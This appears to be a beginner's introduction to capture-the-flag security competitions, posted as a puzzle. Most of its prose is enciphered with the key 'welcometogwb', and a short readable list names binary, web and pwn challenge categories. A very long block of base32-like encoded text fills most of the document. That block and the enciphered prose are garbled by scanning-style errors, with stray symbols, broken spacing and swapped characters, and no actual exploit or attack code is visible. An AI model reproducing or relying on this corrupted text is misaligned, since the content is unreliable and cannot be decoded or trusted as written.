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SIv we GMI gJje dsh vc sim gzwspio!<

EHRw tfk koa sq om reocxeua lzdpuil. W rkwa xsg tqgiewtc pb wznjurz o vwspmnwzmvem
jegbmnwzf xtgg woz wpgwzk tzr pia tfbnxi iwkyfo gwkgw xhukpiav. T'f zuox hnet
Isdv ha wxfba bo ey kbfvhrayuesy ve OXY tun udsdg wz xas jaw.ps ngayygwzu udee
ook rhh gqjps asch ux bg. ¢

Yk xdee kg OXY?«

QZB (Dwtewfg Xas Lhbc) md ¢ yurw cl eobscoofmhb yadgvtvm osfdkpjpmzp htem
gnwmhiyise ghbzatpeyvg fs lcrrf w zltwaxr cl pbood tozkbbm bskg | ugmzxbmas dyyv
cz abyolfzml vec nelwi |skkccaymgu ktfngtuse, xh vgylerr acgv poe eops | usdzxf
zk tpiln rmxt. Wt piawp evmpestcfo, xsg garmsypbjx tu ieytzru boopf ha jbbj w
tlinktug iwkyf kj eglf xaoz ibu fp jwphxb uj udi dgfhik ex xfdmyf o iiudgef
Pltu uaee wy ybhppf hti yzgc, iarng hti gosal¢

Meop oozc vecs|fpmekczw, mvk olepw nshie tun DPJd xodmxg hausipp hti xjkjuo. Wzos
mvx hgnhaxpf haatfjo gnsqggemhbght smej sjtxfoaoyi zrsdemwtc pj gjdsd wxganjpc
egoyw. Mvkof pcakgmpem ubgav | nodkx ggoi nihcfp egr iwo xi sgzp em o ylfymgkg
blrgoybh pzeofmhb. Upiav pxszx| hgnhax ejs tmzv yyiksw cbp ghzraha wewrqrm fgjha,
wzosfmfsy kgbickbs ghbkpbnc dwdbskh lks ahfeofmhb zk udsdg htem drwda Itivxc bb
zdf ysxrsfmmwuj!<

DPJekaq hxhgemo xsg rujysxaop xjrse sy QZB. Uk wfoamvbnk, Ffktltrk wmmra DPJd
rfazbrk w mewe qt oltzraocid cbp epoxz gkmyvg fs bbjewehfcze sk hkwno xsch
osfdraua xsg qteezkjhaw, rtcgtl kopi plp ocex icojuo atpg. Mxmoig/Eajpggg‘w@@gﬁfj% shou
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Clear text using key "welcometogwb":

images
Binary - Reverse engineering or exploiting a binary file
Web - Exploiting web pages to find the flag

Pwn — Exploiting a server to find the flag
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If I managed to pique your curicsity, I've compiled a list of
resources that helped me get started learning. CTF veterans, feel h
free to add your own resources in the comments bel6wDN @3iefanie » zhow
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3K35e1uPn6D6ecMIWG8zkBSWHSs039Qs9v{y8HB3VmmuEmMVn
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LMUDGNZWFQQDGOBUGYZC4AMBYGUUSYIBIGQADKLBAGQATKNZZFYADSNIJFQQCQMRYFQQDEOIWGQXDGNZXFEWCAKBTHEYCYIBTHE4DQOBOGU3DOKIM
EAUDEMRSFQQDEMRXGUZS4MIQHAUSYIBIGM4DQLBAGM4ATMOBVFYZDGNJIJFQQCQMRUFQQDENIVGYXDGNBWFEWCAKBSGA2CYIBSGA4TCNROGA4DQKIM
EAUDINJIMEA2DMOJYFY2TSMRIFQQCQOIMEAYTAMRWFYZDKMIJFQQCQNBSHAWCANBTG43DKLRRG43SSLBAFAZTGNBMEAZTIMIXGYXDGNIWFEWCAKBS
GA2SYIBSGEYDCOBOGY4DGKIMEAUDEMIYFQQDEMRTGQ2CAMRRFEWCAKBWHEWCANZRGQ3CAMRUGUUSYIBIGM2DOLBAGM2TKMBTFYYTMNRIFQQCQNBX
HEWCANBYHE3DOLRSGA4CSLBAFAZDCMZMEAZDCOBTGQXDENBUFEWCAKBSGI3SYIBSGMZDMMROHE2SSLBAFA2DMMBMEA2DOMBSHEXDSOBZFEWCAKBR
GE4CYIBRGIYTINBOHAYTSKIMEAUDIOJRFQQDKMBRHEZCAMBTGUUSYIBIGQ2CYIBUGU4TMLRSGAUSYIBIGI2DCLBAGI2DMOJQFY3DMOBIFQQCQNBX
GYWCANBYGY3DCLRUGU3CSLBAFAYTQLBAGE4TINBOGQYTMKIMEAUDIMRXFQQDIMZWGY2C4AMIZGAUSYIBIGIYTILBAGIYTSMZWFY4DGOBIFQQCQMRX
GQWCAMRYGA2TMLRVHA4CSLBAFAZDOMRMEAZDOOBVGMXDEKKS5BINSQOBVFQQDQMZUHAXDMMRRFEWCAKBTGQ3CYIBTGM3DMNIOGMZDEKIMEAUDCMBR
FQQDSOJQGAXDONJI JFQQCQMRYGYWCAMRXHA2DKLRTGU4ACSLBAFA2DSMBMEA2DONRTGQXDGMZWFEWCAKBSGU3CYIBSGQ4TGNIOGE2TSKIMEAUDIOJZ
FQQDIOBVGA3S4NZYGMUSYIBIGMADILBAGM3TGNISFY2DMNRIFQQCQMZRGQWCAMZQGU3DCLRWGU2SSLBAFA2DOLBAGQ3DMMROGUYTKKIMEAUDENZZ
FQQDENZRGY3C4NZXGQUSYIBIGQ2DSLBAGQZTMNIWFY3TAMRIFQQCQNBRGUWCANBQGM2TQLRZGQYSSLBAFAZTGNIMEAZTENIZHAXDCNZTFEWCAKBU
GQ2SYIBUGMZDMOJO0G4ZTQKIMEAUDENIXFQQDENJIQGMZSANBXHEUSYIBIGU3CYIBVGUZTKLRVGMUSYIBIGQADILBAGQ3TANITFYYCSLBAFAZDILBA
GI2DGMJIOGEZDGKIMEAUDINBXFQQDIMZUGYZS4MZTGIUSYIBIGI2TELBAGI2DKNBXFYZTKKIMEAUDENRZFQQDENRRHE3S4MBXGMUSYIBIGM3TKLBA
GM3DINZYFY4DQNJJFQQCQNBWGAWCANBVGQYDILRRGUZSSLBAFAZDSOIMEAZDSMIQGYXDMNRRFEWCAKBUGEYCYIBTHE4DONBOG44DCKIMEAUDCMIR
FQQDCMBYG4YCAMRTGIUSYIBIGE3DELBAGE2TQMIXFYZDCMRIFQQCQNBXGMWCANBVHE4DKLRTGQ4CSLBAFA2DEOBMEA2DCNRSGAXDKMRXFFOQUWZT
GQADELBAGU4TGNRTFY2TSOJJFQQCQNBZGMWCANRQG4YTOLRWGEZCSLBAFAZDIMRMEAZDSOBUGIXDQMZWFEWCAKBUGAZSYIBUHE3DINJOGQ4TIKIM
EAUDENJXFQQDGMIWHA3S40BYGQUSYIBIGQYTQLBAGUYTIOJQFY3DKOJJFQQCQMZYGIWCANBXGA3DELRXHE2SSLBAFAYTOMRMEAZDCMRTGIXDKOJU
FEWCAKBUGA4SYIBVGAZTQMZOGUZTOKIMEAUDGNZMEA2DMMRXFY2DCMJIJFQQCQMIRGMWCAMITHE3TKLRWGIZCSLBAFAZDQMZMEAZTIOBYGYXDKMBS
FEWCAKBWGIWCANZXGAZC4AMZWGMUSYIBIGQZTQLBAGUZTSNIRFYZDSNIJFQQCQOIVFQQDCMIXGYYS4MIUHAUSYIBIGE3DILBAGIYDENBYFYZDCNBJ
FQQCQMRXGAWCAMZTGI4DOLRRGIZSSLBAFA3DALBAG42DKNROGM3DKKIMEAUDQOJIMEAYTCMBSGMXDMOBIFQQCQMIWGUWCAMRQGM3TCLRUGA2SSLBA
FAZDEMRMEAZDOMZYGIXDAOBWFEWCAKBUGE3CYIBVGEZDINBOGA4TSKIMEAUDIMZTFQQDKMZTGM2S4NRUGYUSYIBIGQZDELBAGUYTSOBTFY3DQMZJ
FQQCQMRZFQQDGNRUGMXDEOJSFEWCAKBUGY3CYIBVG4ZTSNIJOGA4DMKIMEAUDCMBZ FQQDCMZUHAZS4AMRQHAUSYIBIGIYDALBAGI2DMNZXFYYDONJJ
FQQCQMZXGEWCANBVG4YTALRXGEZCSLBAFAZTENIMEA2DAMBVGIXDKMI JLUFFWKBSGE2CYIBRGA2TSNROGUYDCKIMEAUDGMZYFQQDCNRWG4ZC40BR
G4USYIBIGM4DGLBAGE4DQNZYFYATSNRIFQQCQMIZHAWCAOIYGEZS4MIRGAUSYIBIGE2DSLBAGA2DCMIOGE4CSLBAFA2DGOIMEAZDCNRSGEXDCMZZ
FEWCAKBRGIWCANRZHAXDENZUFEWCAKBTGAWCAMIVHAYC4MIQHEUSYIBIGQZDKLBAGIYDSMZVFYZTGMZJFQQCQMZXGIWCAMIYGMZTQLRYGY4SSLBA
FA2TELBAGI3DKOBOGM2TGKJMEAUDEOBSFQQDCMZZGI4C4NJRGQUSYIBIGQZDCLBAGIYDONBQFY4TAOBJFQQCQMRUGIWCAMJRHEBDQLRTHAYSSLBA
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FAZDEMZMEAY I CMB | G4XDKMJ ZFEWCAKBUGYWCAMR 1 GY 2C4MZWGEUSY 1BLGMY | LLBAGEZ2 1 LOJXFY2D10BJFQQCQMRSGUWCAMIRGEZ TKLRWGIUSY1B1
GIYTALBAGEYDIMBQFY4TENZJFQQCQMIWHAWCAOBTGQZC4ANIUGQUSYIBIGEYDILBAGUZDANROGYYDOKIMEAUDCNZVFQQDQNRYGUXDENRIFQQCQNBT
G4WCAMRRGUZDGLRUG44CSLBAFA2TKLBAGI4DANJOGMYTCKIMEAUDIMIZFQQDEMBWGQZC40JTGYUSYIBIG44SYIBTHE4ADCLRRGEUSYIBIGQ3TGLBA
GIZTEOBXFYZTKOJJFQQCQMRQGAWCAMIQGI2TGLRZGUZSSLBAFAZTOOIMEAYTQNRYGIXDCMIUFEWCAKBUHE4CYIBSGQ2TCMROGY4TSKK5BINSQNBU
GQWCAMRSGY4TOLRUHA2CSLBAFAZDAMIMEAYTAMZQGMXDSNRVFEWCAKBUGQZCYIBSGI2TSNBOHE4DKKIMEAUDENRYFQQDCMZXGIYCANBWGMUSYIBI
GIYTKLBAGEYTAMIYFYZTKOBJFQQCQNRUFQQDGMZRGYXDCMZWFEWCAKBZHEWCANJRGAYS4NISG4USYIBIGEYTOLBAGYYDCOJOGQ3TMKIMEAUDIMRM
EAZDCOJUFYZSSLBAFAZDGNIMEAYTEMBTG4XDGMZRFEWCAKBUGQ3SYIBSGI4DKMBOHE2TIKIMEAUDIOJRFQQDENIQHEZS4MRQGYUSYIBIGQYDALBA
GIYDINISFY3DS0JJIFQQCQNBQHEWCAMRQHEYTCLRVGI3SSLBAFAZTAMZMEAYTKNIQGUXDKNIVFEWCAKBUGMYCYIBSGE4TQMZOGA2TGKIMEAUDCNRW
FQQDQNJIRHAXDIMZSFEWCAKBZGEWCANBWHEZS4MZRFEWCAKBRHE3SYIBRGAYDS0J0G43TEKIMEAUDCNBXFQQDONJUHEXDKMZZFEWCAKBRGE2SYIBV
HEYTOLRVGI4CSLBAFAZTSMBMEAYTSOJUGIXDKNZJFQQCQMZZGYWCAMRQGI2TALRRGUUSYIBIGM4DMLBAGE4TOMZZFYZDQNIJIFQQCQMIUGQWCANZT
HE3C4NZVHAUSYIBIGE4DKLBAHE2DQOBOGA3TIKIMEAUDGMBYFQQDCNIXGYYS4MBXHEUSYIBIGI4TSLBAGE2TGMBRFYYTQMZJFQQCQNBVGMWCAMRT
GE2TMLRYGY4SSLBAFAZTENRMEAYTMNRXHAXDIMZTFFOQUWZIGE2TOLBAGE3TSOJUFYYDEOJJFQQCQNBWGYWCANITGIYTSLRXGEZSSLBAFAZDSOBM
EAZTIMBWG4XDQNZWFEWCAKBTGM3CYIBTHA2DAMBOGE3TMKIMEAUDIMBUFQQDINRRGUZCAMIRGQUSYIBIGM2SYIBUGA4DKLRSGQ4ASSLBAFAZTOMBM
EA2DEMRXG4XDCMZJIFQQCQNZUFQQDQNITGEXDAOJZFEWCAKBTHAWCANBUGI3S4ANBVHEUSYIBIGM2TMLBAGQYDMOBQFY4TAMRIFQQCQNBWGEWCANIS
GY2DSLRVGQ4CSLBAFAYTAMZMEAYTCOBTG4XDGNIRFEWCAKBSHA3SYIBTGI4DCNBOGAYTCKIMEAUDCNITFQQDCNZVGM3S4MIUGAUSYIBIGEYDKLBA
GEZDANRVFYZDENZJFQQCQMIWGUWCAMIYHEYDKLRYGMYSSLBAFAZTQMZMEA2DGNZVHAXDANRUF ENCAKBRGQWCAMIWHEYS4MRXG4USYIBIGE2DSLBA
GE3TAOBRFY4DS0JJFQQCQNBYFQQDKNIWG4XDCMZVFEWCAKBWGAWCANRZGM2S4MZRG4USYIBIGE4DGLBAGIYDSNIYFYYDKMZJFQQCQNBSGUWCANBY
GU2DMLRVGUZSSLBAFAYTENBMEAYTIMRTGEXDGMBZFEWCAKBRGU2CYIBRG43DKMIOGMYTKKIMEAUDGMBVFQQDGNBYGY2S4MBXG4USYIBIGIZDKLBA
GI2TONBVFY3TSOBJIFQQCQMRSFQQDENRQGMXDIMZWFEWCAKBSGYYCYIBSHE3TGNIOG43TSKIMEAUDENRYFQQDGMBWGQ4CANBZGEUV2CS3FAZTKLBA
GI4ATEMJOGE4TGKIMEAUDONBMEA3DCMIZFY3DCNIJIFQQCQMZWGYWCAMZQGA3DGLRYGUYSSLBAFA4DILBAGY4TGOJOGYYTCKIMEAUDINBVFQQDGNRV
GQYS4NRUGQUSYIBIGI3DMLBAGIYTQNRUFY2TGNZJIFQQCQNBUFQQDGNRVHEXDEMZJFQQCQMRRFQQDCNZXGMXDEMBTFEWCAKBSHAYSYIBSGMYDSNBO
GMATIKIMEAUDINBWFQQDGNRWGI2S4MIJFQQCQMITGQWCAMIRGAZTSLRVHEASSLBAFAZDENBMEAYTQNBRHEXDKOJIXFEWCAKBRGI2SYIBRGAZTAMIO
GI3TEKIMEAUDCOBXFQQDCNITHA3CAMBZGIUSYIBIGI3SYIBSGI3DKLRRGQ2CSLBAFAZTQNBMEAZTCNIUGAXDOMIVFEWCAKBTGEZCYIBSGU3DGNRO
HA3TKKIMEAUDQMIMEA3DMOJTFY2DANBJFQQCQMRVGYWCAMRRGA2DGLRZGE2SSLBAFAZDOMRMEAZDEMZVGUXDGOBWF EWCAKBUGEZSYIBTGM4TCNZO
GMZSSLBAFA2DMNRMEAZTQMRWGMXDENRSFEWCAKBRGAWCAOBXGEXDCNJIJFQQCQMZSGIWCAMRWGQ2TKLRSGU2CSLBAFA2DSMIMEA2DAMZRGQXDAMIY
FEWCAKBSHA2SYIBSGM2DEMROGIZTKKIMEAUDEOJZFQQDENBVGY4S4MZQGQUSYIBIGMYTILBAGI2TOOJIZFYATAMZIFQQCQNBXGIWCAMZYG42TMLRZ
GIYSSLBAFAZDANZMEAYTOMBSGUXDCMIZFFOQUWZIGEACYIBRHEYDSLRQHEUSYIBIGQZDGLBAGQZTMMRWFYYTSNZJFQQCQNBUGMWCANBVGY4DMLRU
GIACSLBAFA2DGNBMEA2DINZVHEXDCNBYFEWCAKBSGI3SYIBSGM2DGNROG4YTMKIMEAUDCMRZFQQDCMZTGQZC4A40JRGQUSYIBIGYWCANRXGMXDANIR
FEWCAKBTGAWCAMZRGQ2S4MZYGIUSYIBIGE4DELBAGE4DQMBRFY4TAOJJFQQCQNITFQQDKNIRGQXDGOIVFEWCAKBTHAWCAMZZGY4S4AMZWGIUSYIBI
GMYDMLBAGMYTKNZTFY4TOMJJFQQCQNBUHEWCANBWGMYDGLRSGA4USYIBIGM2DELBAGM2TEOBRFY3DKNZJFQQCQMRQHAWCAMRRGQ3TSLRRGA3CSLBA
FA2TQLBAGYYDEOJOGQ4TIKIMEAUDIMRWFQQDIMZZGMZS4MRQGMUSYIBIGMYSYIBTGI2DQLRSHA3CSLBAFA2DKNIMEA2DMOJSGEXDENRVFEWCAKBU
GYWCANBXHEZS4MZXFEWCAKBWG4WCANRZGU3CANITGQUSYIBIGQZTMLBAGQ2DSNRUFY3DOMIJFQQCQMZVGIWCAMZWGMYTCLRRGE2SSLBAFAZTSLBA
GQYDOMROGMZTEKJIMEAUDIOBSFQQDIOJIXGAZSAMZXHAUSYIBIGM3CYIBTG43DGLRSGA4ACSLBAFA2DSMBMEA2TANISGUXDONZVFEWCAKBUGA2CYIBU
GE3DMNZOGUYTGKIMEAUDIMIRFQQDIMRTHA4SANZSFEWCAKBYGAWCAOJQGE3CAMISGQUV2CS3FA2DMNRMEA2DOMIRHEXDGNIXFEWCAKBSGMACYIBS
GQYDSMJOHEASSLBAFAZTOOBMEAZTQMRTGEXDIMRVFEWCAKBTHE3SYIBUGAYTKMJIOGY3DIKIMEAUDMMRMEA3DGMIVFYZTMMIJFQQCQMIWFQQDCNRW
HEXDINBTFEWCAKBUHE2SYIBVGAYDIOBOGI2TKKIMEAUDENBYFQQDENJRGAYS4MZRGQUSYIBIHE3SYIBZHA2TALRUGE4CSLBAFA2DSNRMEA2TAMIU
HEXDIOBWFEWCAKBSGUYCYIBSGUZTAMZ0G43TGKIMEAUDENJUFQQDENJIXGA4C4AMIWGIUSYIBIGE2TCLBAGE2TGMBUFY2DONRIFQQCQMRZHAWCAMZQ
GE2TCLRUHEUSYIBIGMASYIBTHEATELRTGUASSLBAFAZTAMIMEAZTANBVGUXDCMZRFEWCAKBUHA3SYIBUHEZDIMBOGY3TIKIMEAUDCMZXFQQDCMZY
HEYC4ANRRGQUSYIBIGE3TALBAGE3TEMRTFY3TANBIFQQCQMISFQQDCMRWGUXDCMRZFEWCAKBTGA3CYIBTGA4TKOJOHE4DIKIMEAUDGMRUFQQDGMRX
G43S4AMRXGUUSYIBIGM2TILBAGM2TQMBYFYYTCOBJFQQCQMRVHEWCAMRWGIYTGLRVHE4SSLBAFA3DCLBAGYZDCNBOGA3DIKIMEAUDGMIVFQQDGMIY
GY4S4ANIXGQUSYIBIGQYTSLBAGQZDGNZTFY3TO0JJFQQCQMZWFQQDGNRYHEXDCNZSFEWCAKBVGYWCANIXGA4S4ANBUGEUSYIBIGM2DOLBAGM2TCMBR
FY2TOKK5BINSQMISHAWCAMIQGY3TGLRXGA3CSLBAFA2DCMBMEAZTIMBYGAXDCMITFEWCAKBUGAYCYIBTGMZDKMBOGEYDSKIMEAUDIOJVFQQDIMIR
GM2C4MZQGMUSYIBIGEYDELBAHA2TCNIOGIYTMKIMEAUDGOBYFQQDGMRSGUZS4ANIXGUUSYIBIGQZDCLBAGM2DS0ISFYZTQNBIFQQCQMISGYWCAMIQ
GUYDOLRWGEZCSLBAFA2DIOBMEAZTOMRTGMXDIMBSFEWCAKBSGMYCYIBRHEYTGOJOGY3DOKIMEAUDIMZSFQQDGNIZGA2SANRVGYUSYIBIGM2DGLBA
GI4DKMIZFY4DCOJJIFQQCQMRSGQWCAMIYGY2DCLRUGMASSLBAFAYTMLBAGEZTONZOGA3TQKIMEAUDOMBMEA2TQNIZFYZDKNBJFQQCQMIYHAWCAMIV
GY2TGLRWHAUSYIBIGQYSYIBTGQ2TELRSGE3CSLBAFAZDMMRMEAZDCNZZGUXDSOBRFEWCAKBUGUZCYIBTG42TMNIOGYZDSKIMEAUDIOIWFQQDIMIS
GE4C40JXGQUSYIBIGQACYIBUGAZTGLRTGA4SSLBAFAYTSLBAGE3DENROGQ2TGKIMEAUDCNZZFQQDCNBZGA3CANRVHAUSYIBIGQ4TALBAGQYDOMRQ
FY3DAMRIFQQCQMRZGMWCAMRUGM3DQLRYGQ4CSLBAFAYTOLBAGE2DMMBOGMY TOKJMEAUDGMIVFQQDENRRHE2S4MRZHEUSYIBIGM2TCLBAGI4TCOBS
FY3DCMRIFQQCQMRRHEWCAMIYGIZDMLRYGQ2CSLBAFAYTSMRMEAYTKOJYGUXDIMBRFFOQUWZIGM3DMLBAGE3TMNZZFY4TSMZIFQQCQMZRGEWCAMIV
GAZTSLRWG4ZCSLBAFAYTINBMEA3TAMRSFY2TQNZJFQQCQNIWFQQDENZZHAXDCNZXFEWCAKBUGAWCAMRQGMYC4AMZSFEWCAKBYGYWCANBSGM4CANRX
G4USYIBIGMATGLBAGE4DSNZUFY4DCNBIFQQCQNBQHEWCAMIZG42DELRYGI4ACSLBAFAZDMNRMEAYTEOBXHAXDINRUF EWCAKBVGMWCAMRWGU2C4AMIW
HEUSYIBIGM2TMLBAGE3TCOJZFYYTQKIMEAUDEMZTFQQDCMISHE2CANRUFEWCAKBXGAWCAMZUG4AYCANIRGEUSYIBIHA4SYIBUGMADELRTGYZSSLBA
FA4DALBAGM4TKMBOG4YDKKIMEAUDGNZYFQQDCOBSGU2S4MRTGAUSYIBIGEZTSLBAGY3TQMROG4YDOKIMEAUDCMRQFQQDKOBXGAXDKOJIWFEWCAKBT
GEWCAMJIVHE4C4MITGQUSYIBIGQATELBAGIZTOMRYFY3DGOBJIFQQCQNBVGMWCAMRRHA2TMLRWGM3SSLBAFAZDCMBMEAYTAMIZGAXDCNIRFEWCAKBU
G4WCAMRTGY3C4NBQGMUSYIBIGMYDMLBAGE2DOOJYFY3TQNIJFQQCQMRTGUWCAMIRGMATALRXGIYSSLBAFAZDELBAGEYTMNROGEYTEKIMEAUDINZR
FQQDEMRXGE4S4NBRGUUSYIBIGEYDQLBAGUZDSNBOGUYDEKIMEAUDIMITFQQDCOJZGM3C4MBSGUUSYIBIGMZDSLBAGE2TSMBTFYYTAMZILUFFWKBU
GAYCYIBTHAYDMNJIOGYYTGKIMEAUDIMBWFQQDGOBWGM2S40JSGEUSYIBIGQZDMLBAGQYDKMZWFY2DKMRIFQQCQMRSHAWCAMRRG4ZDKLRTGAZSSLBA
FA2DQNBMEA2DMMBUGYXDGOJVFEWCAKBSHE3SYIBSHAZDQMBOGU2DQKIMEAUDCNZWFQQDCNRXHA3C4MBUGYUSYIBIGMYTMLBAGMYDAOBVFY4DEMIJ
FQQCQMZVFQQDGMZZGAXDGOBUFEWCAKBTGE2SYIBSHE4TSMBOHE2CSLBAFA2DEMIMEA2DAMBWGAXDMNIYFEWCAKBUGQ4CYIBUGI3DENZOGAZDSKIM
EAUDGOJIWFQQDGNZWHA2S4MIZGEUSYIBIGQ2TQLBAGQZTKNZVFY4DCOBIFQQCQMZWGYWCAMZUHAZTMLRVHE2CSLBAFA2DONBMEA2DKMBZGUXDGMRU



FEWCAKBUG43CYIBUGUZDQNZOGAYTOKIMEAUDGNRMEAZTIOBVFYZDINJIJFQQCQNBXGMWCANBVGAYDALRUGUUSYIBIGIZCYIBSGE2TKLRUGEYSSLBA
FA2DAOIMEAZTQOJISGAXDQMBUFEWCAKBTGYZCYIBTGQ2DKNJIOGYZDOKIMEAUDCOIWFQQDCOBWHA2S40IVGMUSYIBIGQ2TALBAGQZDQMIWFY2DEKIM
EAUDQNRMEA4DEMZVFYZDMMZ JFQQCQMRWGYWCAMRVGMZTKLRUGUZCSLBAFA2DENZMEA2DANRTGEXDINIZFEWCAKBUGIZSYIBUGAZDKMROGI2TIKIM
EAUDCMIVFQQDCMBZHEYCANJUHEUSYIBIGE4DALBAGE3TCNRVFY4DMOBILUFFWKBTHE4SYIBTG44TONZOGAZDSKIMEAUDCNBRFQQDCMZUGY3S4MBV
GYUSYIBIGQ4TCLBAGQ3DOMIWFY2DGNIJIFQQCQMRTGYWCAMRSGQ4TCLRYG4ZSSLBAFA2DCNIMEAZTSNBZG4XDIMZYFEWCAKBSGM4SYIBSGI3TONRO
GEZDMKIMEAUDGNZYFQQDGNJIZHAYS40JVGMUSYIBIGQYDILBAGM4ADINISFYYTQNIJIFQQCQMRQFQQDCOIXGEXDGMZTFEWCAKBTHEZCYIBTG4ZTCMRO
GE3TCKIMEAUDGNBYFQQDGMZRGMYS4NZQGUUSYIBIGY4CYIBWGUZTCLRVGIYSSLBAFAYTCNRMEAYTCMBZGEXDMOBXFEWCAKBSGQWCAMRTGUYS4MZX
HAUSYIBIGM3TOLBAGM2TQOBWFY3TKMZJIFQQCQMZVGIWCAMZTGUYTCLRSGY2SSLBAFAYTQNRMEAYTONZUGEXDIMBYFEWCAKBWGQWCANRRGUYS4MRX
FEWCAKBSGM4CYIBSGI3DQMIOGMYDQKIMEAUDCNIWFQQDCNBYHEYS4ANRUGUUSYIBIG43SYIBXGMADMLRVGEUSYIBIGI3DILBAGI2TCNIRFYYTSMRI
FQQCQMZRGEWCAMRZGYYTMLRYGMZSSLBAFA2DQMIMEA2DKNZWGYXDQNZXFEWCAKBSGI4SYIBSGE4DENROGEYTEKIMEAUDCMRUFQQDCMIYGUYS4NBY
GQUSYIBIGIYDILBAGE4ATINISFYYDINRIFQQCQNZUFQQDOMIQGEXDIMBYFEWCAKBRGAYSYIBZGY3DMLRVG4ZSSLBAFAZDGLBAGIZDKNROGQ2DEKKS
BINSQNBWGIWCAMRSGI2TKLRVGY3SSLBAFA2DANBMEAYTSNBXGIXDSOBVFEWCAKBRGQ4ACYIBXGE4DGLRXGMYSSLBAFAYTCNRMEA2TMNBXFYZTQNJJ
FQQCQNJIUFQQDENRXGEXDGNJUFEWCAKBRGI4ASYIBWGI3TCLRWGQZSSLBAFAZTSNRMEAYTSMBYHEXDAOJSFEWCAKBRGA2CYIBVGA3TCLRTGY2SSLBA
FAZTKMIMEAYTMOJSHAXDKMBZFEWCAKBSGYZSYIBRGI3TANBOGQ4DQKIMEAUDEMZRFQQDCMIRGY3S4ANRRGYUSYIBIGIYDGLBAHE4ADENBOGI2DEKIM
EAUDIMZTFQQDEMBYGY2S4MRUFEWCAKBTHAYCYIBRHAZTCOJOHA2DOKIMEAUDCOIMEA4TSMIOGMZTGKIMEAUDCNZQFQQDQMRTHEXDIMZYFEWCAKBW
GEWCAMZQGA3S4MIYGMUSYIBIG43SYIBTG43TKLRTGQYSSLBAFAYTSMZMEA4ATGNBTFY3TSNRIFQQCQMIWGAWCANZXGU4S40BRHEUSYIBIGEYTGLBA
GU2TAMZOHA2SSLBAFA2DKOIMEAZDEMIRGMXDCOJVFEWCAKBUG4ZCYIBSGI3TGNIJOHE4DKKIMEAUDIOIXFQQDEMZZGM3S4MZVGQUSYIBIGEZDCLBA
GU4DQNZOGU4DSKIMEAUDGNBWFQQDCNRWHA3S403VG4USYIBIGMZTELBAGE3DAMIWFYYDSMIJFQQCQNBWGEWCAMRSGIYDOLRTG42CSLBAFAYTINIM
EA3TAMZZFY3DOKIMEAUDCMBRFQQDIOJSGAXDKMRWFFOQUWZIGM2TMLBAGM2TMOJVFY3TQMIJFQQCQMZSGMWCAMZSGMATMLRTGEZCSLBAFA4TSLBA
HE4TSNJOGYZTMKIMEAUDENZUFQQDENZUHE2S4NZXGYUSYIBIGI4ADILBAGI4DIOIVFY2DENBIFQQCQMZXFQQDGNZZGUXDEOJISFEWCAKBRGE2CYIBR
GE2DSNJ0G43TEKIMEAUDGOBRFQQDGOBRHE2S4MRVGQUSYIBIGQYTKLBAGQYTKOJIVFY3TOMZIFQQCQNBVFQQDINIZGUXDENZYFEWCAKBSGA2SYIBS
GA2TSNROGIZTIKIMEAUDIMIYFQQDIMIYHE3C4ANZUHEUSYIBIGI4DELBAGIADEOJWFYYTMNRIFQQCQMRSHAWCAMRSHA4TMLRSGE2CSLBAFAZTGOBM
EAZTGOBZGYXDCMRXFEWCAKBYGQWCAOBUHE2S4MZVGUUSYIBIGIZTOLBAGIZTOOJVFYZDEMRIFQQCQNBRGQWCANBRGQ4TKLRTGM2SSLBAFAZDINZM
EAZDINZZGUXDGOBVFEWCAKBRGMZSYIBRGMZTSNIOGU4SSLBAFAYTONZMEAYTONZZGUXDSMRRFEWCAKBUHAYSYIBUHAYTSNJOGU4DOKIMEAUDGOJZ
FQQDGOJZHE2S4MZSHAUSYIBIGQZTKLBAGQZTKOIVFY4TOMZIFQQCQNBXGYWCANBXGY4TMLRTGAZCSLBAFAZTINZMEAZTINZZG4AXDAOJRFEWCAKBX
GUWCANZVHE2S4ANZSFEWCAKBSGI2CYIBSGI2DSNIJOGUYDEKIMEAUDIMBSFQQDIMBSHE3CAMRXGIUSYIBIGEZTSLBAGEZTSOJVFYZDQKK5BINSQMZT
GQWCAMRYGE3DCLRQGI2SSLBAFA3TILBAGYZTEMBOGI3TEKIMEAUDENBUFQQDEMBWGAYC40BUGIUSYIBIHE2CYIBYGAYDALRXGA3CSLBAFAYTONBM
EAYTINZSGAXDKOBXFEWCAKBZHEWCAOBUGIYC4MIQGQUSYIBIGQ4DILBAGQYDONRRFY2TGMIJFQQCQNBZGMWCANBRGUYTOLRYGY4SSLBAFA2DINZM
EAZTONRVGIXDONRVFEWCAKBUHEWCANBSGIYCANBRGIUSYIBIGQ4TSLBAGQZDAMRRFYZDIMIJFQQCQMRZHAWCAMRVGEZTOLRYGEUSYIBIG44SYIBW
G42DALRTGYZCSLBAFAYTMOJIMEAYTIMZQGEXDAMIVFEWCAKBUGMASYIBTGY4ATQMIOHEZTGKIMEAUDEMIWFQQDCOBSGQ4S4MIUGEUSYIBIGQ3TMLBA
GQYDAOJQFYZDINZJIFQQCQNBWGIWCAMZYHEYTGLRQGE2SSLBAFA2DCMZMEAZTINZZHAXDEMBUF ENCAKBUHAYCYIBUGA2DENBOGM2DEKIMEAUDIOIJR
FQQDIMITGQ4S4MBVGUUSYIBIGE2TALBAGEZDOMBUFY3DIOBIFQQCQNBTGMWCAMZWGQ3TOLRTGI3CSLBAFAYTGLBAGEYTSNROGI3TEKIMEAUDIMBQ
FQQDGMZXGA2S4MZUGYUSYIBIGEYTILBAHE3DQMBOGU2TMKIMEAUDCMRXFQQDCMBXG4ZCANBXGQUSYIBIGYZCYIBVGMYTELRRGQZSSLBAFAZDSNIM
EAZDIOBYGQXDINRTFEWCAKBSGMYCYIBRHE2DENJOGI3TIKK5BINSQOJIVFQQDINZWGUXDEOJTFEWCAKBRGMACYIBWHA3TELRUGMZCSLBAFA2DGMZM
EAZDCMZSHAXDAMRYFEWCAKBUGMZCYIBSGEZDQMBOGE4DSKIMEAUDIMIYFQQDEMBVHEZCANRUGIUSYIBIGM2DILBAGE3DSNRXFY3DAMIJFQQCQNRM
EA2DANBOGAZTOKIMEAUDEOBQFQQDCMZYGMYCANIWGYUSYIBIGE3TKLBAHA3DQNIOGYYDIKIMEAUDCMBXFQQDKMZVGMXDGOBVFEWCAKBUHA3SYIBS
GMATONJOGQ3TEKIMEAUDGMIRFQQDCNITGQ4S40BUGAUSYIBIGQ3TGLBAGIZTEOBYFYATAMRIFQQCQMITGAWCANRYGIZS4ANITGEUSYIBIGQZDOLBA
